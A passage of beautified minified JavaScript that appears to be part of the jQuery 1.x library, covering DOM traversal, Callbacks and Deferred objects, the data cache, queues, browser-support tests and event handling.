nextAll: function(i) {
return ag(i, "nextSibling")
},
prevAll: function(i) {
return ag(i, "previousSibling")
},
nextUntil: function(cf, ce, cg) {
return ag(cf, "nextSibling", cg)
},
prevUntil: function(cf, ce, cg) {
return ag(cf, "previousSibling", cg)
},
siblings: function(i) {
return o((i.parentNode || {}).firstChild, i)
},
children: function(i) {
return o(i.firstChild)
},
contents: function(i) {
return bQ.nodeName(i, "iframe") ? i.contentDocument || i.contentWindow.document : bQ.merge([], i.childNodes)
}
}, function(i, ce) {
bQ.fn[i] = function(ch, cf) {
var cg = bQ.map(this, ce, ch);
if (i.slice(-5) !== "Until") {
cf = ch
}
if (cf && typeof cf === "string") {
cg = bQ.filter(cf, cg)
}
if (this.length > 1) {
if (!bH[i]) {
cg = bQ.uniqueSort(cg)
}
if (bD.test(i)) {
cg = cg.reverse()
}
}
return this.pushStack(cg)
}
});
var aN = (/\S+/g);
function an(ce) {
var i = {};
bQ.each(ce.match(aN) || [], function(cg, cf) {
i[cf] = true
});
return i
}
bQ.Callbacks = function(cm) {
cm = typeof cm === "string" ? an(cm) : bQ.extend({}, cm);
var ch, cf, i, cg, ck = [],
ci = [],
cj = -1,
ce = function() {
cg = cm.once;
i = ch = true;
for (; ci.length; cj = -1) {
cf = ci.shift();
while (++cj < ck.length) {
if (ck[cj].apply(cf[0], cf[1]) === false && cm.stopOnFalse) {
cj = ck.length;
cf = false
}
}
}
if (!cm.memory) {
cf = false
}
ch = false;
if (cg) {
if (cf) {
ck = []
} else {
ck = ""
}
}
},
cl = {
add: function() {
if (ck) {
if (cf && !ch) {
cj = ck.length - 1;
ci.push(cf)
}(function cn(co) {
bQ.each(co, function(cq, cp) {
if (bQ.isFunction(cp)) {
if (!cm.unique || !cl.has(cp)) {
ck.push(cp)
}
} else {
if (cp && cp.length && bQ.type(cp) !== "string") {
cn(cp)
}
}
})
})(arguments);
if (cf && !ch) {
ce()
}
}
return this
},
remove: function() {
bQ.each(arguments, function(cp, cn) {
var co;
while ((co = bQ.inArray(cn, ck, co)) > -1) {
ck.splice(co, 1);
if (co <= cj) {
cj--
}
}
});
return this
},
has: function(cn) {
return cn ? bQ.inArray(cn, ck) > -1 : ck.length > 0
},
empty: function() {
if (ck) {
ck = []
}
return this
},
disable: function() {
cg = ci = [];
ck = cf = "";
return this
},
disabled: function() {
return !ck
},
lock: function() {
cg = true;
if (!cf) {
cl.disable()
}
return this
},
locked: function() {
return !!cg
},
fireWith: function(co, cn) {
if (!cg) {
cn = cn || [];
cn = [co, cn.slice ? cn.slice() : cn];
ci.push(cn);
if (!ch) {
ce()
}
}
return this
},
fire: function() {
cl.fireWith(this, arguments);
return this
},
fired: function() {
return !!i
}
};
return cl
};
bQ.extend({
Deferred: function(cf) {
var ce = [
["resolve", "done", bQ.Callbacks("once memory"), "resolved"],
["reject", "fail", bQ.Callbacks("once memory"), "rejected"],
["notify", "progress", bQ.Callbacks("memory")]
],
cg = "pending",
ch = {
state: function() {
return cg
},
always: function() {
i.done(arguments).fail(arguments);
return this
},
then: function() {
var ci = arguments;
return bQ.Deferred(function(cj) {
bQ.each(ce, function(cl, ck) {
var cm = bQ.isFunction(ci[cl]) && ci[cl];
i[ck[1]](function() {
var cn = cm && cm.apply(this, arguments);
if (cn && bQ.isFunction(cn.promise)) {
cn.promise().progress(cj.notify).done(cj.resolve).fail(cj.reject)
} else {
cj[ck[0] + "With"](this === ch ? cj.promise() : this, cm ? [cn] : arguments)
}
})
});
ci = null
}).promise()
},
promise: function(ci) {
return ci != null ? bQ.extend(ci, ch) : ch
}
},
i = {};
ch.pipe = ch.then;
bQ.each(ce, function(cj, ci) {
var cl = ci[2],
ck = ci[3];
ch[ci[1]] = cl.add;
if (ck) {
cl.add(function() {
cg = ck
}, ce[cj ^ 1][2].disable, ce[2][2].lock)
}
i[ci[0]] = function() {
i[ci[0] + "With"](this === i ? ch : this, arguments);
return this
};
i[ci[0] + "With"] = cl.fireWith
});
ch.promise(i);
if (cf) {
cf.call(i, i)
}
return i
},
when: function(ci) {
var cg = 0,
ck = Y.call(arguments),
ce = ck.length,
cf = ce !== 1 || (ci && bQ.isFunction(ci.promise)) ? ce : 0,
cn = cf === 1 ? ci : bQ.Deferred(),
ch = function(cp, cq, co) {
return function(i) {
cq[cp] = this;
co[cp] = arguments.length > 1 ? Y.call(arguments) : i;
if (co === cm) {
cn.notifyWith(cq, co)
} else {
if (!(--cf)) {
cn.resolveWith(cq, co)
}
}
}
},
cm, cj, cl;
if (ce > 1) {
cm = new Array(ce);
cj = new Array(ce);
cl = new Array(ce);
for (; cg < ce; cg++) {
if (ck[cg] && bQ.isFunction(ck[cg].promise)) {
ck[cg].promise().progress(ch(cg, cj, cm)).done(ch(cg, cl, ck)).fail(cn.reject)
} else {
--cf
}
}
}
if (!cf) {
cn.resolveWith(cl, ck)
}
return cn.promise()
}
});
var at;
bQ.fn.ready = function(i) {
bQ.ready.promise().done(i);
return this
};
bQ.extend({
isReady: false,
readyWait: 1,
holdReady: function(i) {
if (i) {
bQ.readyWait++
} else {
bQ.ready(true)
}
},
ready: function(i) {
if (i === true ? --bQ.readyWait : bQ.isReady) {
return
}
bQ.isReady = true;
if (i !== true && --bQ.readyWait > 0) {
return
}
at.resolveWith(m, [bQ]);
if (bQ.fn.triggerHandler) {
bQ(m).triggerHandler("ready");
bQ(m).off("ready")
}
}
});
function bu() {
if (m.addEventListener) {
m.removeEventListener("DOMContentLoaded", b8);
bd.removeEventListener("load", b8)
} else {
m.detachEvent("onreadystatechange", b8);
bd.detachEvent("onload", b8)
}
}
function b8() {
if (m.addEventListener || bd.event.type === "load" || m.readyState === "complete") {
bu();
bQ.ready()
}
}
bQ.ready.promise = function(cg) {
if (!at) {
at = bQ.Deferred();
if (m.readyState === "complete" || (m.readyState !== "loading" && !m.documentElement.doScroll)) {
bd.setTimeout(bQ.ready)
} else {
if (m.addEventListener) {
m.addEventListener("DOMContentLoaded", b8);
bd.addEventListener("load", b8)
} else {
m.attachEvent("onreadystatechange", b8);
bd.attachEvent("onload", b8);
var cf = false;
try {
cf = bd.frameElement == null && m.documentElement
} catch (ce) {}
if (cf && cf.doScroll) {
(function i() {
if (!bQ.isReady) {
try {
cf.doScroll("left")
} catch (ch) {
return bd.setTimeout(i, 50)
}
bu();
bQ.ready()
}
})()
}
}
}
}
return at.promise(cg)
};
bQ.ready.promise();
var bp;
for (bp in bQ(G)) {
break
}
G.ownFirst = bp === "0";
G.inlineBlockNeedsLayout = false;
bQ(function() {
var cf, cg, i, ce;
i = m.getElementsByTagName("body")[0];
if (!i || !i.style) {
return
}
cg = m.createElement("div");
ce = m.createElement("div");
ce.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px";
i.appendChild(ce).appendChild(cg);
if (typeof cg.style.zoom !== "undefined") {
cg.style.cssText = "display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1";
G.inlineBlockNeedsLayout = cf = cg.offsetWidth === 3;
if (cf) {
i.style.zoom = 1
}
}
i.removeChild(ce)
});
(function() {
var ce = m.createElement("div");
G.deleteExpando = true;
try {
delete ce.test
} catch (i) {
G.deleteExpando = false
}
ce = null
})();
var W = function(cf) {
var ce = bQ.noData[(cf.nodeName + " ").toLowerCase()],
i = +cf.nodeType || 1;
return i !== 1 && i !== 9 ? false : !ce || ce !== true && cf.getAttribute("classid") === ce
};
var bG = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,
aY = /([A-Z])/g;
function bI(cf, ce, cg) {
if (cg === undefined && cf.nodeType === 1) {
var i = "data-" + ce.replace(aY, "-$1").toLowerCase();
cg = cf.getAttribute(i);
if (typeof cg === "string") {
try {
cg = cg === "true" ? true : cg === "false" ? false : cg === "null" ? null : +cg + "" === cg ? +cg : bG.test(cg) ? bQ.parseJSON(cg) : cg
} catch (ch) {}
bQ.data(cf, ce, cg)
} else {
cg = undefined
}
}
return cg
}
function Z(ce) {
var i;
for (i in ce) {
if (i === "data" && bQ.isEmptyObject(ce[i])) {
continue
}
if (i !== "toJSON") {
return false
}
}
return true
}
function bk(cg, ce, ci, ch) {
if (!W(cg)) {
return
}
var ck, cj, cl = bQ.expando,
cm = cg.nodeType,
i = cm ? bQ.cache : cg,
cf = cm ? cg[cl] : cg[cl] && cl;
if ((!cf || !i[cf] || (!ch && !i[cf].data)) && ci === undefined && typeof ce === "string") {
return
}
if (!cf) {
if (cm) {
cf = cg[cl] = aX.pop() || bQ.guid++
} else {
cf = cl
}
}
if (!i[cf]) {
i[cf] = cm ? {} : {
toJSON: bQ.noop
}
}
if (typeof ce === "object" || typeof ce === "function") {
if (ch) {
i[cf] = bQ.extend(i[cf], ce)
} else {
i[cf].data = bQ.extend(i[cf].data, ce)
}
}
cj = i[cf];
if (!ch) {
if (!cj.data) {
cj.data = {}
}
cj = cj.data
}
if (ci !== undefined) {
cj[bQ.camelCase(ce)] = ci
}
if (typeof ce === "string") {
ck = cj[ce];
if (ck == null) {
ck = cj[bQ.camelCase(ce)]
}
} else {
ck = cj
}
return ck
}
function ak(ci, cg, ce) {
if (!W(ci)) {
return
}
var ck, ch, cj = ci.nodeType,
cf = cj ? bQ.cache : ci,
cl = cj ? ci[bQ.expando] : bQ.expando;
if (!cf[cl]) {
return
}
if (cg) {
ck = ce ? cf[cl] : cf[cl].data;
if (ck) {
if (!bQ.isArray(cg)) {
if (cg in ck) {
cg = [cg]
} else {
cg = bQ.camelCase(cg);
if (cg in ck) {
cg = [cg]
} else {
cg = cg.split(" ")
}
}
} else {
cg = cg.concat(bQ.map(cg, bQ.camelCase))
}
ch = cg.length;
while (ch--) {
delete ck[cg[ch]]
}
if (ce ? !Z(ck) : !bQ.isEmptyObject(ck)) {
return
}
}
}
if (!ce) {
delete cf[cl].data;
if (!Z(cf[cl])) {
return
}
}
if (cj) {
bQ.cleanData([ci], true)
} else {
if (G.deleteExpando || cf != cf.window) {
delete cf[cl]
} else {
cf[cl] = undefined
}
}
}
bQ.extend({
cache: {},
noData: {
"applet ": true,
"embed ": true,
"object ": "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
},
hasData: function(i) {
i = i.nodeType ? bQ.cache[i[bQ.expando]] : i[bQ.expando];
return !!i && !Z(i)
},
data: function(ce, i, cf) {
return bk(ce, i, cf)
},
removeData: function(ce, i) {
return ak(ce, i)
},
_data: function(ce, i, cf) {
return bk(ce, i, cf, true)
},
_removeData: function(ce, i) {
return ak(ce, i, true)
}
});
bQ.fn.extend({
data: function(ch, ck) {
var cg, cf, cj, ci = this[0],
ce = ci && ci.attributes;
if (ch === undefined) {
if (this.length) {
cj = bQ.data(ci);
if (ci.nodeType === 1 && !bQ._data(ci, "parsedAttrs")) {
cg = ce.length;
while (cg--) {
if (ce[cg]) {
cf = ce[cg].name;
if (cf.indexOf("data-") === 0) {
cf = bQ.camelCase(cf.slice(5));
bI(ci, cf, cj[cf])
}
}
}
bQ._data(ci, "parsedAttrs", true)
}
}
return cj
}
if (typeof ch === "object") {
return this.each(function() {
bQ.data(this, ch)
})
}
return arguments.length > 1 ? this.each(function() {
bQ.data(this, ch, ck)
}) : ci ? bI(ci, ch, bQ.data(ci, ch)) : undefined
},
removeData: function(i) {
return this.each(function() {
bQ.removeData(this, i)
})
}
});
bQ.extend({
queue: function(cf, ce, cg) {
var i;
if (cf) {
ce = (ce || "fx") + "queue";
i = bQ._data(cf, ce);
if (cg) {
if (!i || bQ.isArray(cg)) {
i = bQ._data(cf, ce, bQ.makeArray(cg))
} else {
i.push(cg)
}
}
return i || []
}
},
dequeue: function(ci, ch) {
ch = ch || "fx";
var ce = bQ.queue(ci, ch),
cj = ce.length,
cg = ce.shift(),
i = bQ._queueHooks(ci, ch),
cf = function() {
bQ.dequeue(ci, ch)
};
if (cg === "inprogress") {
cg = ce.shift();
cj--
}
if (cg) {
if (ch === "fx") {
ce.unshift("inprogress")
}
delete i.stop;
cg.call(ci, cf, i)
}
if (!cj && i) {
i.empty.fire()
}
},
_queueHooks: function(cf, ce) {
var i = ce + "queueHooks";
return bQ._data(cf, i) || bQ._data(cf, i, {
empty: bQ.Callbacks("once memory").add(function() {
bQ._removeData(cf, ce + "queue");
bQ._removeData(cf, i)
})
})
}
});
bQ.fn.extend({
queue: function(i, ce) {
var cf = 2;
if (typeof i !== "string") {
ce = i;
i = "fx";
cf--
}
if (arguments.length < cf) {
return bQ.queue(this[0], i)
}
return ce === undefined ? this : this.each(function() {
var cg = bQ.queue(this, i, ce);
bQ._queueHooks(this, i);
if (i === "fx" && cg[0] !== "inprogress") {
bQ.dequeue(this, i)
}
})
},
dequeue: function(i) {
return this.each(function() {
bQ.dequeue(this, i)
})
},
clearQueue: function(i) {
return this.queue(i || "fx", [])
},
promise: function(cg, ck) {
var cf, ch = 1,
cl = bQ.Deferred(),
cj = this,
ce = this.length,
ci = function() {
if (!(--ch)) {
cl.resolveWith(cj, [cj])
}
};
if (typeof cg !== "string") {
ck = cg;
cg = undefined
}
cg = cg || "fx";
while (ce--) {
cf = bQ._data(cj[ce], cg + "queueHooks");
if (cf && cf.empty) {
ch++;
cf.empty.add(ci)
}
}
ci();
return cl.promise(ck)
}
});
(function() {
var i;
G.shrinkWrapBlocks = function() {
if (i != null) {
return i
}
i = false;
var cg, ce, cf;
ce = m.getElementsByTagName("body")[0];
if (!ce || !ce.style) {
return
}
cg = m.createElement("div");
cf = m.createElement("div");
cf.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px";
ce.appendChild(cf).appendChild(cg);
if (typeof cg.style.zoom !== "undefined") {
cg.style.cssText = "-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:1px;width:1px;zoom:1";
cg.appendChild(m.createElement("div")).style.width = "5px";
i = cg.offsetWidth !== 3
}
ce.removeChild(cf);
return i
}
})();
var aM = (/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/).source;
var b7 = new RegExp("^(?:([+-])=|)(" + aM + ")([a-z%]*)$", "i");
var b1 = ["Top", "Right", "Bottom", "Left"];
var ab = function(ce, i) {
ce = i || ce;
return bQ.css(ce, "display") === "none" || !bQ.contains(ce.ownerDocument, ce)
};
function B(ce, i, ch, cm) {
var cn, cf = 1,
cj = 20,
cl = cm ? function() {
return cm.cur()
} : function() {
return bQ.css(ce, i, "")
},
ci = cl(),
ck = ch && ch[3] || (bQ.cssNumber[i] ? "" : "px"),
cg = (bQ.cssNumber[i] || ck !== "px" && +ci) && b7.exec(bQ.css(ce, i));
if (cg && cg[3] !== ck) {
ck = ck || cg[3];
ch = ch || [];
cg = +ci || 1;
do {
cf = cf || ".5";
cg = cg / cf;
bQ.style(ce, i, cg + ck)
} while (cf !== (cf = cl() / ci) && cf !== 1 && --cj)
}
if (ch) {
cg = +cg || +ci || 0;
cn = ch[1] ? cg + (ch[1] + 1) * ch[2] : +ch[2];
if (cm) {
cm.unit = ck;
cm.start = cg;
cm.end = cn
}
}
return cn
}
var aK = function(ce, cj, cl, ck, ch, cn, cm) {
var cg = 0,
cf = ce.length,
ci = cl == null;
if (bQ.type(cl) === "object") {
ch = true;
for (cg in cl) {
aK(ce, cj, cg, cl[cg], true, cn, cm)
}
} else {
if (ck !== undefined) {
ch = true;
if (!bQ.isFunction(ck)) {
cm = true
}
if (ci) {
if (cm) {
cj.call(ce, ck);
cj = null
} else {
ci = cj;
cj = function(co, i, cp) {
return ci.call(bQ(co), cp)
}
}
}
if (cj) {
for (; cg < cf; cg++) {
cj(ce[cg], cl, cm ? ck : ck.call(ce[cg], cg, cj(ce[cg], cl)))
}
}
}
}
return ch ? ce : ci ? cj.call(ce) : cf ? cj(ce[0], cl) : cn
};
var aT = (/^(?:checkbox|radio)$/i);
var n = (/<([\w:-]+)/);
var bJ = (/^$|\/(?:java|ecma)script/i);
var cd = (/^\s+/);
var d = "abbr|article|aside|audio|bdi|canvas|data|datalist|details|dialog|figcaption|figure|footer|header|hgroup|main|mark|meter|nav|output|picture|progress|section|summary|template|time|video";
function D(i) {
var cf = d.split("|"),
ce = i.createDocumentFragment();
if (ce.createElement) {
while (cf.length) {
ce.createElement(cf.pop())
}
}
return ce
}(function() {
var cf = m.createElement("div"),
ce = m.createDocumentFragment(),
i = m.createElement("input");
cf.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
G.leadingWhitespace = cf.firstChild.nodeType === 3;
G.tbody = !cf.getElementsByTagName("tbody").length;
G.htmlSerialize = !!cf.getElementsByTagName("link").length;
G.html5Clone = m.createElement("nav").cloneNode(true).outerHTML !== "<:nav></:nav>";
i.type = "checkbox";
i.checked = true;
ce.appendChild(i);
G.appendChecked = i.checked;
cf.innerHTML = "<textarea>x</textarea>";
G.noCloneChecked = !!cf.cloneNode(true).lastChild.defaultValue;
ce.appendChild(cf);
i = m.createElement("input");
i.setAttribute("type", "radio");
i.setAttribute("checked", "checked");
i.setAttribute("name", "t");
cf.appendChild(i);
G.checkClone = cf.cloneNode(true).cloneNode(true).lastChild.checked;
G.noCloneEvent = !!cf.addEventListener;
cf[bQ.expando] = 1;
G.attributes = !cf.getAttribute(bQ.expando)
})();
var ae = {
option: [1, "<select multiple='multiple'>", "</select>"],
legend: [1, "<fieldset>", "</fieldset>"],
area: [1, "<map>", "</map>"],
param: [1, "<object>", "</object>"],
thead: [1, "<table>", "</table>"],
tr: [2, "<table><tbody>", "</tbody></table>"],
col: [2, "<table><tbody></tbody><colgroup>", "</colgroup></table>"],
td: [3, "<table><tbody><tr>", "</tr></tbody></table>"],
_default: G.htmlSerialize ? [0, "", ""] : [1, "X<div>", "</div>"]
};
ae.optgroup = ae.option;
ae.tbody = ae.tfoot = ae.colgroup = ae.caption = ae.thead;
ae.th = ae.td;
function k(ch, ce) {
var cf, ci, cg = 0,
cj = typeof ch.getElementsByTagName !== "undefined" ? ch.getElementsByTagName(ce || "*") : typeof ch.querySelectorAll !== "undefined" ? ch.querySelectorAll(ce || "*") : undefined;
if (!cj) {
for (cj = [], cf = ch.childNodes || ch;
(ci = cf[cg]) != null; cg++) {
if (!ce || bQ.nodeName(ci, ce)) {
cj.push(ci)
} else {
bQ.merge(cj, k(ci, ce))
}
}
}
return ce === undefined || ce && bQ.nodeName(ch, ce) ? bQ.merge([ch], cj) : cj
}
function bC(ce, cg) {
var ch, cf = 0;
for (;
(ch = ce[cf]) != null; cf++) {
bQ._data(ch, "globalEval", !cg || bQ._data(cg[cf], "globalEval"))
}
}
var T = /<|&#?\w+;/,
b9 = /<tbody/i;
function b6(i) {
if (aT.test(i.type)) {
i.defaultChecked = i.checked
}
}
function C(cf, ch, cn, cs, ck) {
var co, cj, cm, cr, ct, cq, cg, cl = cf.length,
ci = D(ch),
ce = [],
cp = 0;
for (; cp < cl; cp++) {
cj = cf[cp];
if (cj || cj === 0) {
if (bQ.type(cj) === "object") {
bQ.merge(ce, cj.nodeType ? [cj] : cj)
} else {
if (!T.test(cj)) {
ce.push(ch.createTextNode(cj))
} else {
cr = cr || ci.appendChild(ch.createElement("div"));
ct = (n.exec(cj) || ["", ""])[1].toLowerCase();
cg = ae[ct] || ae._default;
cr.innerHTML = cg[1] + bQ.htmlPrefilter(cj) + cg[2];
co = cg[0];
while (co--) {
cr = cr.lastChild
}
if (!G.leadingWhitespace && cd.test(cj)) {
ce.push(ch.createTextNode(cd.exec(cj)[0]))
}
if (!G.tbody) {
cj = ct === "table" && !b9.test(cj) ? cr.firstChild : cg[1] === "<table>" && !b9.test(cj) ? cr : 0;
co = cj && cj.childNodes.length;
while (co--) {
if (bQ.nodeName((cq = cj.childNodes[co]), "tbody") && !cq.childNodes.length) {
cj.removeChild(cq)
}
}
}
bQ.merge(ce, cr.childNodes);
cr.textContent = "";
while (cr.firstChild) {
cr.removeChild(cr.firstChild)
}
cr = ci.lastChild
}
}
}
}
if (cr) {
ci.removeChild(cr)
}
if (!G.appendChecked) {
bQ.grep(k(ce, "input"), b6)
}
cp = 0;
while ((cj = ce[cp++])) {
if (cs && bQ.inArray(cj, cs) > -1) {
if (ck) {
ck.push(cj)
}
continue
}
cm = bQ.contains(cj.ownerDocument, cj);
cr = k(ci.appendChild(cj), "script");
if (cm) {
bC(cr)
}
if (cn) {
co = 0;
while ((cj = cr[co++])) {
if (bJ.test(cj.type || "")) {
cn.push(cj)
}
}
}
}
cr = null;
return ci
}(function() {
var cf, ce, cg = m.createElement("div");
for (cf in {
submit: true,
change: true,
focusin: true
}) {
ce = "on" + cf;
if (!(G[cf] = ce in bd)) {
cg.setAttribute(ce, "t");
G[cf] = cg.attributes[ce].expando === false
}
}
cg = null
})();
var bO = /^(?:input|select|textarea)$/i,
be = /^key/,
bT = /^(?:mouse|pointer|contextmenu|drag|drop)|click/,
bK = /^(?:focusinfocus|focusoutblur)$/,
bF = /^([^.]*)(?:\.(.+)|)/;
function ad() {
return true
}
function ai() {
return false
}
function av() {
try {
return m.activeElement
} catch (i) {}
}
function bq(ci, cf, i, cj, ch, ce) {
var ck, cg;
if (typeof cf === "object") {
if (typeof i !== "string") {
cj = cj || i;
i = undefined
}
for (cg in cf) {
bq(ci, cg, i, cj, cf[cg], ce)
}
return ci
}
if (cj == null && ch == null) {
ch = i;
cj = i = undefined
} else {
if (ch == null) {
if (typeof i === "string") {
ch = cj;
cj = undefined
} else {
ch = cj;
cj = i;
i = undefined
}
}
}
if (ch === false) {
ch = ai
} else {
if (!ch) {
return ci
}
}
if (ce === 1) {
ck = ch;
ch = function(cl) {
bQ().off(cl);
return ck.apply(this, arguments)
};
ch.guid = ck.guid || (ck.guid = bQ.guid++)
}
return ci.each(function() {
bQ.event.add(this, cf, ch, cj, i)
})
}
bQ.event = {
global: {},
add: function(ch, cm, cr, cj, ci) {
var ck, cs, ct, cf, co, cl, cq, cg, cp, i, ce, cn = bQ._data(ch);
if (!cn) {
return
}
if (cr.handler) {
cf = cr;
cr = cf.handler;
ci = cf.selector
}
if (!cr.guid) {
cr.guid = bQ.guid++
}
if (!(cs = cn.events)) {
cs = cn.events = {}
}
if (!(cl = cn.handle)) {
cl = cn.handle = function(cu) {
return typeof bQ !== "undefined" && (!cu || bQ.event.triggered !== cu.type) ? bQ.event.dispatch.apply(cl.elem, arguments) : undefined
};
cl.elem = ch
}
cm = (cm || "").match(aN) || [""];
ct = cm.length;
while (ct--) {
ck = bF.exec(cm[ct]) || [];
cp = ce = ck[1];
i = (ck[2] || "").split(".").sort();
if (!cp) {
continue
}
co = bQ.event.special[cp] || {};
cp = (ci ? co.delegateType : co.bindType) || cp;
co = bQ.event.special[cp] || {};
cq = bQ.extend({
type: cp,
origType: ce,
data: cj,
handler: cr,
guid: cr.guid,
selector: ci,
needsContext: ci && bQ.expr.match.needsContext.test(ci),
namespace: i.join(".")
}, cf);
if (!(cg = cs[cp])) {
cg = cs[cp] = [];
cg.delegateCount = 0;
if (!co.setup || co.setup.call(ch, cj, i, cl) === false) {
if (ch.addEventListener) {
ch.addEventListener(cp, cl, false)
} else {
if (ch.attachEvent) {
ch.attachEvent("on" + cp, cl)
}
}
}
}
if (co.add) {
co.add.call(ch, cq);
if (!cq.handler.guid) {
cq.handler.guid = cr.guid
}
}
if (ci) {
cg.splice(cg.delegateCount++, 0, cq)
} else {
cg.push(cq)
}
bQ.event.global[cp] = true
}
ch = null
},
remove: function(cg, cm, ct, ch, cl) {
var cj, cq, ck, ci, cs, cr, co, cf, cp, i, ce, cn = bQ.hasData(cg) && bQ._data(cg);
if (!cn || !(cr = cn.events)) {
return
}
cm = (cm || "").match(aN) || [""];
cs = cm.length;
while (cs--) {
ck = bF.exec(cm[cs]) || [];
cp = ce = ck[1];
i = (ck[2] || "").split(".").sort();
if (!cp) {
for (cp in cr) {
bQ.event.remove(cg, cp + cm[cs], ct, ch, true)
}
continue
}
co = bQ.event.special[cp] || {};
cp = (ch ? co.delegateType : co.bindType) || cp;
cf = cr[cp] || [];
ck = ck[2] && new RegExp("(^|\\.)" + i.join("\\.(?:.*\\.|)") + "(\\.|$)");
ci = cj = cf.length;
while (cj--) {
cq = cf[cj];
if ((cl || ce === cq.origType) && (!ct || ct.guid === cq.guid) && (!ck || ck.test(cq.namespace)) && (!ch || ch === cq.selector || ch === "**" && cq.selector)) {
cf.splice(cj, 1);
if (cq.selector) {
cf.delegateCount--
}
if (co.remove) {
co.remove.call(cg, cq)
}
}
}
if (ci && !cf.length) {
if (!co.teardown || co.teardown.call(cg, i, cn.handle) === false) {
bQ.removeEvent(cg, cp, cn.handle)
}
delete cr[cp]
}
}
if (bQ.isEmptyObject(cr)) {
delete cn.handle;
bQ._removeData(cg, "events")
}
},
trigger: function(ce, cl, ch, cs) {
var cm, cg, cq, cr, co, ck, cj, ci = [ch || m],
cp = S.call(ce, "type") ? ce.type : ce,
cf = S.call(ce, "namespace") ? ce.namespace.split(".") : [];
cq = ck = ch = ch || m;
if (ch.nodeType === 3 || ch.nodeType === 8) {
return
}
if (bK.test(cp + bQ.event.triggered)) {
return
}
if (cp.indexOf(".") > -1) {
cf = cp.split(".");
cp = cf.shift();
cf.sort()
}
cg = cp.indexOf(":") < 0 && "on" + cp;
ce = ce[bQ.expando] ? ce : new bQ.Event(cp, typeof ce === "object" && ce);
ce.isTrigger = cs ? 2 : 3;
ce.namespace = cf.join(".");
ce.rnamespace = ce.namespace ? new RegExp("(^|\\.)" + cf.join("\\.(?:.*\\.|)") + "(\\.|$)") : null;
ce.result = undefined;
if (!ce.target) {
ce.target = ch
}
cl = cl == null ? [ce] : bQ.makeArray(cl, [ce]);
co = bQ.event.special[cp] || {};
if (!cs && co.trigger && co.trigger.apply(ch, cl) === false) {
return
}
if (!cs && !co.noBubble && !bQ.isWindow(ch)) {
cr = co.delegateType || cp;
if (!bK.test(cr + cp)) {
cq = cq.parentNode
}
for (; cq; cq = cq.parentNode) {
ci.push(cq);
ck = cq
}
if (ck === (ch.ownerDocument || m)) {
ci.push(ck.defaultView || ck.parentWindow || bd)
}
}
cj = 0;
while ((cq = ci[cj++]) && !ce.isPropagationStopped()) {
ce.type = cj > 1 ? cr : co.bindType || cp;
cm = (bQ._data(cq, "events") || {})[ce.type] && bQ._data(cq, "handle");
if (cm) {
cm.apply(cq, cl)
}
cm = cg && cq[cg];
if (cm && cm.apply && W(cq)) {
ce.result = cm.apply(cq, cl);
if (ce.result === false) {
ce.preventDefault()
}
}
}
ce.type = cp;
if (!cs && !ce.isDefaultPrevented()) {
if ((!co._default || co._default.apply(ci.pop(), cl) === false) && W(ch)) {
if (cg && ch[cp] && !bQ.isWindow(ch)) {
ck = ch[cg];
if (ck) {
ch[cg] = null
}
bQ.event.triggered = cp;
try {
ch[cp]()
} catch (cn) {}
bQ.event.triggered = undefined;
if (ck) {
ch[cg] = ck
}
}
}
}
return ce.result
},
dispatch: function(ce) {
ce = bQ.event.fix(ce);
var ci, ch, cj, cf, cn, cm = [],
cl = Y.call(arguments),
cg = (bQ._data(this, "events") || {})[ce.type] || [],
ck = bQ.event.special[ce.type] || {};
cl[0] = ce;
ce.delegateTarget = this;
if (ck.preDispatch && ck.preDispatch.call(this, ce) === false) {
return
}
cm = bQ.event.handlers.call(this, ce, cg);
ci = 0;
while ((cf = cm[ci++]) && !ce.isPropagationStopped()) {
ce.currentTarget = cf.elem;
ch = 0;
while ((cn = cf.handlers[ch++]) && !ce.isImmediatePropagationStopped()) {
if (!ce.rnamespace || ce.rnamespace.test(cn.namespace)) {
ce.handleObj = cn;
ce.data = cn.data;
cj = ((bQ.event.special[cn.origType] || {}).handle || cn.handler).apply(cf.elem, cl);
if (cj !== undefined) {
if ((ce.result = cj) === false) {
ce.preventDefault();
ce.stopPropagation()
}
}
}
}
}
if (ck.postDispatch) {
ck.postDispatch.call(this, ce)
}
return ce.result
},
handlers: function(ce, cg) {
var ci, cj, cf, cl, ck = [],
ch = cg.delegateCount,
cm = ce.target;
if (ch && cm.nodeType && (ce.type !== "click" || isNaN(ce.button) || ce.button < 1)) {
for (; cm != this; cm = cm.parentNode || this) {
if (cm.nodeType === 1 && (cm.disabled !== true || ce.type !== "click")) {
cj = [];
for (ci = 0; ci < ch; ci++) {
cl = cg[ci];
cf = cl.selector + " ";
if (cj[cf] === undefined) {
cj[cf] = cl.needsContext ? bQ(cf, this).index(cm) > -1 : bQ.find(cf, this, null, [cm]).length
}
if (cj[cf]) {
cj.push(cl)
}
}
if (cj.length) {
ck.push({
elem: cm,
handlers: cj
})
}
}
}
}
if (ch < cg.length) {
ck.push({
elem: this,
handlers: cg.slice(ch)
})
}
return ck
},
fix: function(ch) {
if (ch[bQ.expando]) {
return ch
}
var cf, ck, cj, cg = ch.type,
ce = ch,
ci = this.fixHooks[cg];
if (!ci) {
this.fixHooks[cg] = ci = bT.test(cg) ? this.mouseHooks : be.test(cg) ? this.keyHooks : {}
}
cj = ci.props ? this.props.concat(ci.props) : this.props;
ch = new bQ.Event(ce);
cf = cj.length;
while (cf--) {
ck = cj[cf];
ch[ck] = ce[ck]
}
if (!ch.target) {
ch.target = ce.srcElement || m
}
if (ch.target.nodeType === 3) {
ch.target = ch.target.parentNode
}
ch.metaKey = !!ch.metaKey;
return ci.filter ? ci.filter(ch, ce) : ch
},
props: ("altKey bubbles cancelable ctrlKey currentTarget detail eventPhase metaKey relatedTarget shiftKey target timeStamp view which").split(" "),
fixHooks: {},
keyHooks: {
props: "char charCode key keyCode".split(" "),
filter: function(ce, i) {
if (ce.which == null) {
ce.which = i.charCode != null ? i.charCode : i.keyCode
}
return ce
}
},
mouseHooks: {
props: ("button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement").split(" "),
filter: function(cg, cf) {
var i, ch, ci, ce = cf.button,
cj = cf.fromElement;
if (cg.pageX == null && cf.clientX != null) {
